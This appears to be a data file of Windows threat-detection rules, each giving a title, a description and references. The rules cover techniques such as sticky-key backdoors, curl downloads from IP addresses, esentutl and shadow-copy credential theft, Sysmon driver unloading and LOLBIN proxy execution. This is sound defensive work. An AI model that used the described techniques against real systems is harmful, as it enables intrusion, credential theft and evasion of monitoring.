Suspicious Ping/Del Command Combination	Detects a method often used by ransomware. Which combines the "ping" to wait a couple of seconds and then "del" to delete the file in question. Its used to hide the file responsible for the initial infection for example	https://blog.sygnia.co/kaseya-ransomware-supply-chain-attack, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf, https://www.acronis.com/en-us/blog/posts/lockbit-ransomware/, https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackbyte-exbyte-ransomware
Potentially Suspicious CMD Shell Output Redirect	Detects inline Windows shell commands redirecting output via the ">" symbol to a suspicious location. This technique is sometimes used by malicious actors in order to redirect the output of reconnaissance commands such as "hostname" and "dir" to files for future exfiltration.	https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/
Directory Removal Via Rmdir	Detects execution of the builtin "rmdir" command in order to delete directories. Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/erase
Copy From VolumeShadowCopy Via Cmd.EXE	Detects the execution of the builtin "copy" command that targets a shadow copy (sometimes used to copy registry hives that are in use)	https://twitter.com/vxunderground/status/1423336151860002816?s=20, https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection, https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/
Read Contents From Stdin Via Cmd.EXE	Detect the use of "<" to read and potentially execute a file via cmd.exe	https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1059.003/T1059.003.md, https://web.archive.org/web/20220306121156/https://www.x86matthew.com/view_post?id=ntdll_pipe
Persistence Via Sticky Key Backdoor	By replacing the sticky keys executable with the local admins CMD executable, an attacker is able to access a privileged windows console session without authenticating to the system. When the sticky keys are "activated" the privilleged shell is launched.	https://www.fireeye.com/blog/threat-research/2017/03/apt29_domain_frontin.html, https://www.clearskysec.com/wp-content/uploads/2020/02/ClearSky-Fox-Kitten-Campaign-v1.pdf, https://learn.microsoft.com/en-us/archive/blogs/jonathantrull/detecting-sticky-key-backdoors
Sticky Key Like Backdoor Execution	Detects the usage and installation of a backdoor that uses an option to register a malicious debugger for built-in tools that are accessible in the login screen	https://learn.microsoft.com/en-us/archive/blogs/jonathantrull/detecting-sticky-key-backdoors
Potential Download/Upload Activity Using Type Command	Detects usage of the "type" command to download/upload data from WebDAV server	https://mr0range.com/a-new-lolbin-using-the-windows-type-command-to-upload-download-files-81d7b6179e22
Unusual Parent Process For Cmd.EXE	Detects suspicious parent process for cmd.exe	https://www.elastic.co/guide/en/security/current/unusual-parent-process-for-cmd.exe.html
CMSTP Execution Process Creation	Detects various indicators of Microsoft Connection Manager Profile Installer execution	https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/
Arbitrary File Download Via ConfigSecurityPolicy.EXE	Detects the execution of "ConfigSecurityPolicy.EXE", a binary part of Windows Defender used to manage settings in Windows Defender. Users can configure different pilot collections for each of the co-management workloads. It can be abused by attackers in order to upload or download files.	https://lolbas-project.github.io/lolbas/Binaries/ConfigSecurityPolicy/
Powershell Executed From Headless ConHost Process	Detects the use of powershell commands from headless ConHost window. The "--headless" flag hides the windows from the user upon execution.	https://www.huntress.com/blog/fake-browser-updates-lead-to-boinc-volunteer-computing-software
Suspicious High IntegrityLevel Conhost Legacy Option	ForceV1 asks for information directly from the kernel space. Conhost connects to the console application. High IntegrityLevel means the process is running with elevated privileges, such as an Administrator context.	https://cybercryptosec.medium.com/covid-19-cyber-infection-c615ead7c29, https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/, https://learn.microsoft.com/en-us/windows/win32/secauthz/mandatory-integrity-control
Conhost.exe CommandLine Path Traversal	detects the usage of path traversal in conhost.exe indicating possible command/argument confusion/hijacking	https://pentestlab.blog/2020/07/06/indirect-command-execution/
Uncommon Child Process Of Conhost.EXE	Detects uncommon "conhost" child processes. This could be a sign of "conhost" usage as a LOLBIN or potential process injection activity.	http://www.hexacorn.com/blog/2020/05/25/how-to-con-your-host/
Conhost Spawned By Uncommon Parent Process	Detects when the Console Window Host (conhost.exe) process is spawned by an uncommon parent process, which could be indicative of potential code injection activity.	https://www.elastic.co/guide/en/security/current/conhost-spawned-by-suspicious-parent-process.html
Control Panel Items	Detects the malicious use of a control panel item	https://ired.team/offensive-security/code-execution/code-execution-through-control-panel-add-ins
CreateDump Process Dump	Detects uses of the createdump.exe LOLOBIN utility to dump process memory	https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/, https://twitter.com/bopin2020/status/1366400799199272960
Dynamic .NET Compilation Via Csc.EXE	Detects execution of "csc.exe" to compile .NET code. Attackers often leverage this to compile code on the fly and use it in other stages.	https://securityboulevard.com/2019/08/agent-tesla-evading-edr-by-removing-api-hooks/, https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf, https://app.any.run/tasks/c6993447-d1d8-414e-b856-675325e5aa09/, https://twitter.com/gN3mes1s/status/1206874118282448897, https://github.com/redcanaryco/atomic-red-team/blob/b27a3cb25025161d49ac861cb216db68c46a3537/atomics/T1027.004/T1027.004.md#atomic-test-1---compile-after-delivery-using-cscexe
Csc.EXE Execution Form Potentially Suspicious Parent	Detects a potentially suspicious parent of "csc.exe", which could be a sign of payload delivery.	https://www.uptycs.com/blog/warzonerat-can-now-evade-with-process-hollowing, https://reaqta.com/2017/11/short-journey-darkvnc/, https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html
Suspicious Csi.exe Usage	Csi.exe is a signed binary from Microsoft that comes with Visual Studio and provides C# interactive capabilities. It can be used to run C# code from a file passed as a parameter in command line. Early version of this utility provided with Microsoft “Roslyn” Community Technology Preview was named 'rcsi.exe'	https://lolbas-project.github.io/lolbas/OtherMSBinaries/Csi/, https://lolbas-project.github.io/lolbas/OtherMSBinaries/Rcsi/, https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/, https://twitter.com/Z3Jpa29z/status/1317545798981324801
Suspicious Use of CSharp Interactive Console	Detects the execution of CSharp interactive console by PowerShell	https://redcanary.com/blog/detecting-attacks-leveraging-the-net-framework/
Active Directory Structure Export Via Csvde.EXE	Detects the execution of "csvde.exe" in order to export organizational Active Directory structure.	https://www.cybereason.com/blog/research/operation-ghostshell-novel-rat-targets-global-aerospace-and-telecoms-firms, https://web.archive.org/web/20180725233601/https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf, https://businessinsights.bitdefender.com/deep-dive-into-a-backdoordiplomacy-attack-a-study-of-an-attackers-toolkit, https://redcanary.com/blog/msix-installers/
Potential Cookies Session Hijacking	Detects execution of "curl.exe" with the "-c" flag in order to save cookie data.	https://curl.se/docs/manpage.html
Curl Web Request With Potential Custom User-Agent	Detects execution of "curl.exe" with a potential custom "User-Agent". Attackers can leverage this to download or exfiltrate data via "curl" to a domain that only accept specific "User-Agent" strings	https://labs.withsecure.com/publications/fin7-target-veeam-servers, https://github.com/WithSecureLabs/iocs/blob/344203de742bb7e68bd56618f66d34be95a9f9fc/FIN7VEEAM/iocs.csv
File Download From IP URL Via Curl.EXE	Detects file downloads directly from IP address URL using curl.exe	https://labs.withsecure.com/publications/fin7-target-veeam-servers, https://github.com/WithSecureLabs/iocs/blob/344203de742bb7e68bd56618f66d34be95a9f9fc/FIN7VEEAM/iocs.csv, https://github.com/pr0xylife/IcedID/blob/8dd1e218460db4f750d955b4c65b2f918a1db906/icedID_09.28.2023.txt
Suspicious File Download From IP Via Curl.EXE	Detects potentially suspicious file downloads directly from IP addresses using curl.exe	https://labs.withsecure.com/publications/fin7-target-veeam-servers, https://github.com/WithSecureLabs/iocs/blob/344203de742bb7e68bd56618f66d34be95a9f9fc/FIN7VEEAM/iocs.csv, https://github.com/pr0xylife/IcedID/blob/8dd1e218460db4f750d955b4c65b2f918a1db906/icedID_09.28.2023.txt
Suspicious File Download From File Sharing Domain Via Curl.EXE	Detects potentially suspicious file download from file sharing domains using curl.exe	https://labs.withsecure.com/publications/fin7-target-veeam-servers, https://github.com/WithSecureLabs/iocs/blob/344203de742bb7e68bd56618f66d34be95a9f9fc/FIN7VEEAM/iocs.csv
Insecure Transfer Via Curl.EXE	Detects execution of "curl.exe" with the "--insecure" flag.	https://curl.se/docs/manpage.html
Insecure Proxy/DOH Transfer Via Curl.EXE	Detects execution of "curl.exe" with the "insecure" flag over proxy or DOH.	https://curl.se/docs/manpage.html
Suspicious Curl.EXE Download	Detects a suspicious curl process start on Windows and outputs the requested document to a local file	https://twitter.com/max_mal_/status/1542461200797163522, https://web.archive.org/web/20200128160046/https://twitter.com/reegun21/status/1222093798009790464, https://github.com/pr0xylife/Qakbot/blob/4f0795d79dabee5bc9dd69f17a626b48852e7869/Qakbot_AA_23.06.2022.txt, https://www.volexity.com/blog/2022/07/28/sharptongue-deploys-clever-mail-stealing-browser-extension-sharpext/, https://github.com/redcanaryco/atomic-red-team/blob/0f229c0e42bfe7ca736a14023836d65baa941ed2/atomics/T1105/T1105.md#atomic-test-18---curl-download-file
Local File Read Using Curl.EXE	Detects execution of "curl.exe" with the "file://" protocol handler in order to read local files.	https://curl.se/docs/manpage.html
ManageEngine Endpoint Central Dctask64.EXE Potential Abuse	Detects the execution of "dctask64.exe", a signed binary by ZOHO Corporation part of ManageEngine Endpoint Central. This binary can be abused for DLL injection, arbitrary command and process execution.	https://twitter.com/gN3mes1s/status/1222088214581825540, https://twitter.com/gN3mes1s/status/1222095963789111296, https://twitter.com/gN3mes1s/status/1222095371175911424
Uncommon Child Process Of Defaultpack.EXE	Detects uncommon child processes of "DefaultPack.EXE" binary as a proxy to launch other programs	https://lolbas-project.github.io/lolbas/OtherMSBinaries/DefaultPack/, https://www.echotrail.io/insights/search/defaultpack.exe
Remote File Download Via Desktopimgdownldr Utility	Detects the desktopimgdownldr utility being used to download a remote file. An adversary may use desktopimgdownldr to download arbitrary files as an alternative to certutil.	https://www.elastic.co/guide/en/security/current/remote-file-download-via-desktopimgdownldr-utility.html
Suspicious Desktopimgdownldr Command	Detects a suspicious Microsoft desktopimgdownldr execution with parameters used to download files from the Internet	https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/, https://twitter.com/SBousseaden/status/1278977301745741825
Potential DLL Sideloading Via DeviceEnroller.EXE	Detects the use of the PhoneDeepLink parameter to potentially sideload a DLL file that does not exist. This non-existent DLL file is named "ShellChromeAPI.dll". Adversaries can drop their own renamed DLL and execute it via DeviceEnroller.exe using this parameter	https://mobile.twitter.com/0gtweet/status/1564131230941122561, https://strontic.github.io/xcyclopedia/library/DeviceEnroller.exe-24BEF0D6B0ECED36BB41831759FDE18D.html
Potentially Suspicious Child Process Of ClickOnce Application	Detects potentially suspicious child processes of a ClickOnce deployment application	https://posts.specterops.io/less-smartscreen-more-caffeine-ab-using-clickonce-for-trusted-code-execution-1446ea8051c5
Arbitrary MSI Download Via Devinit.EXE	Detects a certain command line flag combination used by "devinit.exe", which can be abused as a LOLBIN to download arbitrary MSI packages on a Windows system	https://twitter.com/mrd0x/status/1460815932402679809, https://lolbas-project.github.io/lolbas/OtherMSBinaries/Devinit/
DirLister Execution	Detect the usage of "DirLister.exe" a utility for quickly listing folder or drive contents. It was seen used by BlackCat ransomware to create a list of accessible directories and files.	https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1083/T1083.md, https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/
PowerShell Web Access Feature Enabled Via DISM	Detects the use of DISM to enable the PowerShell Web Access feature, which could be used for remote access and potential abuse	https://docs.microsoft.com/en-us/powershell/module/dism/enable-windowsoptionalfeature, https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-241a, https://gist.github.com/MHaggis/7e67b659af9148fa593cf2402edebb41
Potentially Suspicious Child Process Of DiskShadow.EXE	Detects potentially suspicious child processes of "Diskshadow.exe". This could be an attempt to bypass parent/child relationship detection or application whitelisting rules.	https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/, https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration, https://medium.com/@cyberjyot/lolbin-execution-via-diskshadow-f6ff681a27a4, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow, https://www.lifars.com/wp-content/uploads/2022/01/GriefRansomware_Whitepaper-2.pdf, https://www.zscaler.com/blogs/security-research/technical-analysis-crytox-ransomware, https://research.checkpoint.com/2022/evilplayout-attack-against-irans-state-broadcaster/
Diskshadow Script Mode - Uncommon Script Extension Execution	Detects execution of "Diskshadow.exe" in script mode to execute an script with a potentially uncommon extension. Initial baselining of the allowed extension list is required.	https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/, https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration, https://medium.com/@cyberjyot/lolbin-execution-via-diskshadow-f6ff681a27a4, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow, https://www.lifars.com/wp-content/uploads/2022/01/GriefRansomware_Whitepaper-2.pdf, https://www.zscaler.com/blogs/security-research/technical-analysis-crytox-ransomware, https://research.checkpoint.com/2022/evilplayout-attack-against-irans-state-broadcaster/
Diskshadow Script Mode - Execution From Potential Suspicious Location	Detects execution of "Diskshadow.exe" in script mode using the "/s" flag where the script is located in a potentially suspicious location.	https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/, https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration, https://medium.com/@cyberjyot/lolbin-execution-via-diskshadow-f6ff681a27a4, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow, https://www.lifars.com/wp-content/uploads/2022/01/GriefRansomware_Whitepaper-2.pdf, https://www.zscaler.com/blogs/security-research/technical-analysis-crytox-ransomware, https://research.checkpoint.com/2022/evilplayout-attack-against-irans-state-broadcaster/
Dism Remove Online Package	Deployment Image Servicing and Management tool. DISM is used to enumerate, install, uninstall, configure, and update features and packages in Windows images	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md#atomic-test-26---disable-windows-defender-with-dism, https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html
Dllhost.EXE Execution Anomaly	Detects a "dllhost" process spawning with no commandline arguments which is very rare to happen and could indicate process injection activity or malware mimicking similar system processes.	https://redcanary.com/blog/child-processes/, https://nasbench.medium.com/what-is-the-dllhost-exe-process-actually-running-ef9fe4c19c08, https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/goofy-guineapig/NCSC-MAR-Goofy-Guineapig.pdf
DLL Sideloading by VMware Xfer Utility	Detects execution of VMware Xfer utility (VMwareXferlogs.exe) from the non-default directory which may be an attempt to sideload arbitrary DLL	https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/
Potential Discovery Activity Via Dnscmd.EXE	Detects an attempt to leverage dnscmd.exe to enumerate the DNS zones of a domain. DNS zones used to host the DNS records for a particular domain.	https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/dnscmd, https://learn.microsoft.com/en-us/azure/dns/dns-zones-records, https://lolbas-project.github.io/lolbas/Binaries/Dnscmd/
New DNS ServerLevelPluginDll Installed Via Dnscmd.EXE	Detects the installation of a DNS plugin DLL via ServerLevelPluginDll parameter in registry, which can be used to execute code in context of the DNS server (restart required)	https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83, https://blog.3or.de/hunting-dns-server-level-plugin-dll-injection.html
DNS Exfiltration and Tunneling Tools Execution	Well-known DNS Exfiltration tools execution	https://github.com/iagox86/dnscat2, https://github.com/yarrick/iodine
Unusual Child Process of dns.exe	Detects an unexpected process spawning from dns.exe which may indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)	https://www.elastic.co/guide/en/security/current/unusual-child-process-of-dns-exe.html
Potential Application Whitelisting Bypass via Dnx.EXE	Detects the execution of Dnx.EXE. The Dnx utility allows for the execution of C# code. Attackers might abuse this in order to bypass application whitelisting.	https://lolbas-project.github.io/lolbas/OtherMSBinaries/Csi/, https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/
Process Memory Dump Via Dotnet-Dump	Detects the execution of "dotnet-dump" with the "collect" flag. The execution could indicate potential process dumping of critical processes such as LSASS.	https://learn.microsoft.com/en-us/dotnet/core/diagnostics/dotnet-dump#dotnet-dump-collect, https://twitter.com/bohops/status/1635288066909966338
Arbitrary DLL or Csproj Code Execution Via Dotnet.EXE	Detects execution of arbitrary DLLs or unsigned code via a ".csproj" files via Dotnet.EXE.	https://lolbas-project.github.io/lolbas/OtherMSBinaries/Dotnet/, https://twitter.com/_felamos/status/1204705548668555264, https://bohops.com/2019/08/19/dotnet-core-a-vector-for-awl-bypass-defense-evasion/
Binary Proxy Execution Via Dotnet-Trace.EXE	Detects commandline arguments for executing a child process via dotnet-trace.exe	https://twitter.com/bohops/status/1740022869198037480
Potential Recon Activity Using DriverQuery.EXE	Detect usage of the "driverquery" utility to perform reconnaissance on installed drivers	https://thedfirreport.com/2023/01/09/unwrapping-ursnifs-gifts/, https://www.vmray.com/cyber-security-blog/analyzing-ursnif-behavior-malware-sandbox/, https://www.fireeye.com/blog/threat-research/2020/01/saigon-mysterious-ursnif-fork.html
DriverQuery.EXE Execution	Detect usage of the "driverquery" utility. Which can be used to perform reconnaissance on installed drivers	https://thedfirreport.com/2023/01/09/unwrapping-ursnifs-gifts/, https://www.vmray.com/cyber-security-blog/analyzing-ursnif-behavior-malware-sandbox/, https://www.fireeye.com/blog/threat-research/2020/01/saigon-mysterious-ursnif-fork.html
Potentially Over Permissive Permissions Granted Using Dsacls.EXE	Detects usage of Dsacls to grant over permissive permissions	https://ss64.com/nt/dsacls.html, https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771151(v=ws.11)
Potential Password Spraying Attempt Using Dsacls.EXE	Detects possible password spraying attempts using Dsacls	https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/using-dsacls-to-check-ad-object-permissions#password-spraying-anyone, https://ss64.com/nt/dsacls.html, https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771151(v=ws.11)
Domain Trust Discovery Via Dsquery	Detects execution of "dsquery.exe" for domain trust discovery	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1482/T1482.md, https://posts.specterops.io/an-introduction-to-manual-active-directory-querying-with-dsquery-and-ldapsearch-84943c13d7eb?gi=41b97a644843
Suspicious Kernel Dump Using Dtrace	Detects suspicious way to dump the kernel on Windows systems using dtrace.exe, which is available on Windows systems since Windows 10 19H1	https://twitter.com/0gtweet/status/1474899714290208777?s=12, https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/dtrace
Potential Windows Defender AV Bypass Via Dump64.EXE Rename	Detects when a user is potentially trying to bypass the Windows Defender AV by renaming a tool to dump64.exe and placing it in the Visual Studio folder. Currently the rule is covering only usage of procdump but other utilities can be added in order to increase coverage.	https://twitter.com/mrd0x/status/1460597833917251595
DumpMinitool Execution	Detects the use of "DumpMinitool.exe" a tool that allows the dump of process memory via the use of the "MiniDumpWriteDump"	https://twitter.com/mrd0x/status/1511415432888131586, https://twitter.com/mrd0x/status/1511489821247684615, https://lolbas-project.github.io/lolbas/OtherMSBinaries/DumpMinitool/, https://gist.github.com/nasbench/6d58c3c125e2fa1b8f7a09754c1b087f
Suspicious DumpMinitool Execution	Detects suspicious ways to use the "DumpMinitool.exe" binary	https://twitter.com/mrd0x/status/1511415432888131586, https://twitter.com/mrd0x/status/1511489821247684615, https://lolbas-project.github.io/lolbas/OtherMSBinaries/DumpMinitool/
New Capture Session Launched Via DXCap.EXE	Detects the execution of "DXCap.EXE" with the "-c" flag, which allows a user to launch any arbitrary binary or windows package through DXCap itself. This can be abused to potentially bypass application whitelisting.	https://lolbas-project.github.io/lolbas/OtherMSBinaries/Dxcap/, https://twitter.com/harr0ey/status/992008180904419328
Esentutl Gather Credentials	Conti recommendation to its affiliates to use esentutl to access NTDS dumped file. Trickbot also uses this utilities to get MSEdge info via its module pwgrab.	https://twitter.com/vxunderground/status/1423336151860002816, https://attack.mitre.org/software/S0404/, https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/
Copying Sensitive Files with Credential Data	Files with well-known filenames (sensitive files with credential data) copying	https://room362.com/post/2013/2013-06-10-volume-shadow-copy-ntdsdit-domain-hashes-remotely-part-1/, https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment, https://dfironthemountain.wordpress.com/2018/12/06/locked-file-access-using-esentutl-exe/, https://github.com/LOLBAS-Project/LOLBAS/blob/2cc01b01132b5c304027a658c698ae09dd6a92bf/yml/OSBinaries/Esentutl.yml
Esentutl Steals Browser Information	One way Qbot steals sensitive information is by extracting browser data from Internet Explorer and Microsoft Edge by using the built-in utility esentutl.exe	https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/, https://redcanary.com/threat-detection-report/threats/qbot/, https://thedfirreport.com/2022/10/31/follina-exploit-leads-to-domain-compromise/
Potentially Suspicious Event Viewer Child Process	Detects uncommon or suspicious child processes of "eventvwr.exe" which might indicate a UAC bypass attempt	https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/, https://www.hybrid-analysis.com/sample/e122bc8bf291f15cab182a5d2d27b8db1e7019e4e96bb5cdbd1dfe7446f3f51f?environmentId=100
Potentially Suspicious Cabinet File Expansion	Detects the expansion or decompression of cabinet files from potentially suspicious or uncommon locations, e.g. seen in Iranian MeteorExpress related attacks	https://labs.sentinelone.com/meteorexpress-mysterious-wiper-paralyzes-iranian-trains-with-epic-troll, https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/
Explorer Process Tree Break	Detects a command line process that uses explorer.exe to launch arbitrary commands or binaries, which is similar to cmd.exe /c, only it breaks the process tree and makes its parent a new instance of explorer spawning from "svchost"	https://twitter.com/CyberRaiju/status/1273597319322058752, https://twitter.com/bohops/status/1276357235954909188?s=12, https://twitter.com/nas_bench/status/1535322450858233858, https://securityboulevard.com/2019/09/deobfuscating-ostap-trickbots-34000-line-javascript-downloader/
File Explorer Folder Opened Using Explorer Folder Shortcut Via Shell	Detects the initial execution of "cmd.exe" which spawns "explorer.exe" with the appropriate command line arguments for opening the "My Computer" folder.	https://ss64.com/nt/shell.html
Explorer NOUACCHECK Flag	Detects suspicious starts of explorer.exe that use the /NOUACCHECK flag that allows to run all sub processes of that newly started explorer.exe without any UAC checks	https://twitter.com/ORCA6665/status/1496478087244095491
Remote File Download Via Findstr.EXE	Detects execution of "findstr" with specific flags and a remote share path. This specific set of CLI flags would allow "findstr" to download the content of the file located on the remote share as described in the LOLBAS entry.	https://lolbas-project.github.io/lolbas/Binaries/Findstr/, https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/, https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
Findstr GPP Passwords	Look for the encrypted cpassword value within Group Policy Preference files on the Domain Controller. This value can be decrypted with gpp-decrypt.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.006/T1552.006.md#atomic-test-1---gpp-passwords-findstr
Findstr Launching .lnk File	Detects usage of findstr to identify and execute a lnk file as seen within the HHS redirect attack	https://www.bleepingcomputer.com/news/security/hhsgov-open-redirect-used-by-coronavirus-phishing-to-spread-malware/
LSASS Process Reconnaissance Via Findstr.EXE	Detects findstring commands that include the keyword lsass, which indicates recon actviity for the LSASS process PID	https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1
Recon Command Output Piped To Findstr.EXE	Detects the execution of a potential recon command where the results are piped to "findstr". This is meant to trigger on inline calls of "cmd.exe" via the "/c" or "/k" for example. Attackers often time use this technique to extract specific information they require in their reconnaissance phase.	https://github.com/redcanaryco/atomic-red-team/blob/02cb591f75064ffe1e0df9ac3ed5972a2e491c97/atomics/T1057/T1057.md#atomic-test-6---discover-specific-process---tasklist, https://www.hhs.gov/sites/default/files/manage-engine-vulnerability-sector-alert-tlpclear.pdf, https://www.trendmicro.com/en_us/research/22/d/spring4shell-exploited-to-deploy-cryptocurrency-miners.html
Permission Misconfiguration Reconnaissance Via Findstr.EXE	Detects usage of findstr with the "EVERYONE" or "BUILTIN" keywords. This was seen being used in combination with "icacls" and other utilities to spot misconfigured files or folders permissions.	https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
Security Tools Keyword Lookup Via Findstr.EXE	Detects execution of "findstr" to search for common names of security tools. Attackers often pipe the results of recon commands such as "tasklist" or "whoami" to "findstr" in order to filter out the results. This detection focuses on the keywords that the attacker might use as a filter.	https://github.com/redcanaryco/atomic-red-team/blob/987e3ca988ae3cff4b9f6e388c139c05bf44bbb8/atomics/T1518.001/T1518.001.md#atomic-test-1---security-software-discovery, https://www.microsoft.com/en-us/security/blog/2023/10/18/multiple-north-korean-threat-actors-exploiting-the-teamcity-cve-2023-42793-vulnerability/, https://www.hhs.gov/sites/default/files/manage-engine-vulnerability-sector-alert-tlpclear.pdf
Insensitive Subfolder Search Via Findstr.EXE	Detects execution of findstr with the "s" and "i" flags for a "subfolder" and "insensitive" search respectively. Attackers sometimes leverage this built-in utility to search the system for interesting files or filter through results of commands.	https://lolbas-project.github.io/lolbas/Binaries/Findstr/, https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/, https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
Sysmon Discovery Via Default Driver Altitude Using Findstr.EXE	Detects usage of "findstr" with the argument "385201". Which could indicate potential discovery of an installed Sysinternals Sysmon service using the default driver altitude (even if the name is changed).	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md#atomic-test-5---security-software-discovery---sysmon-service
Finger.EXE Execution	Detects execution of the "finger.exe" utility. Finger.EXE or "TCPIP Finger Command" is an old utility that is still present on modern Windows installation. It Displays information about users on a specified remote computer (typically a UNIX computer) that is running the finger service or daemon. Due to the old nature of this utility and the rareness of machines having the finger service. Any execution of "finger.exe" can be considered "suspicious" and worth investigating.	https://twitter.com/bigmacjpg/status/1349727699863011328?s=12, https://app.any.run/tasks/40115012-a919-4208-bfed-41e82cb3dadf/, http://hyp3rlinx.altervista.org/advisories/Windows_TCPIP_Finger_Command_C2_Channel_and_Bypassing_Security_Software.txt
Filter Driver Unloaded Via Fltmc.EXE	Detect filter driver unloading activity via fltmc.exe	https://www.darkoperator.com/blog/2018/10/5/operating-offensively-against-sysmon, https://www.cybereason.com/blog/threat-analysis-report-lockbit-2.0-all-paths-lead-to-ransom
Sysmon Driver Unloaded Via Fltmc.EXE	Detects possible Sysmon filter driver unloaded via fltmc.exe	https://www.darkoperator.com/blog/2018/10/5/operating-offensively-against-sysmon
Forfiles.EXE Child Process Masquerading	Detects the execution of "forfiles" from a non-default location, in order to potentially spawn a custom "cmd.exe" from the current working directory.	https://www.hexacorn.com/blog/2023/12/31/1-little-known-secret-of-forfiles-exe/
Forfiles Command Execution	Detects the execution of "forfiles" with the "/c" flag. While this is an expected behavior of the tool, it can be abused in order to proxy execution through it with any binary. Can be used to bypass application whitelisting.	https://lolbas-project.github.io/lolbas/Binaries/Forfiles/, https://pentestlab.blog/2020/07/06/indirect-command-execution/
Uncommon FileSystem Load Attempt By Format.com	Detects the execution of format.com with an uncommon filesystem selection that could indicate a defense evasion activity in which "format.com" is used to load malicious DLL files or other programs.	https://twitter.com/0gtweet/status/1477925112561209344, https://twitter.com/wdormann/status/1478011052130459653?s=20
Use of FSharp Interpreters	Detects the execution of FSharp Interpreters "FsiAnyCpu.exe" and "FSi.exe" Both can be used for AWL bypass and to execute F# code via scripts or inline.	https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/design/applications-that-can-bypass-wdac, https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/, https://lolbas-project.github.io/lolbas/OtherMSBinaries/FsiAnyCpu/, https://lolbas-project.github.io/lolbas/OtherMSBinaries/Fsi/
Fsutil Drive Enumeration	Attackers may leverage fsutil to enumerated connected drives.	Turla has used fsutil fsinfo drives to list connected drives., https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/discovery_peripheral_device.toml
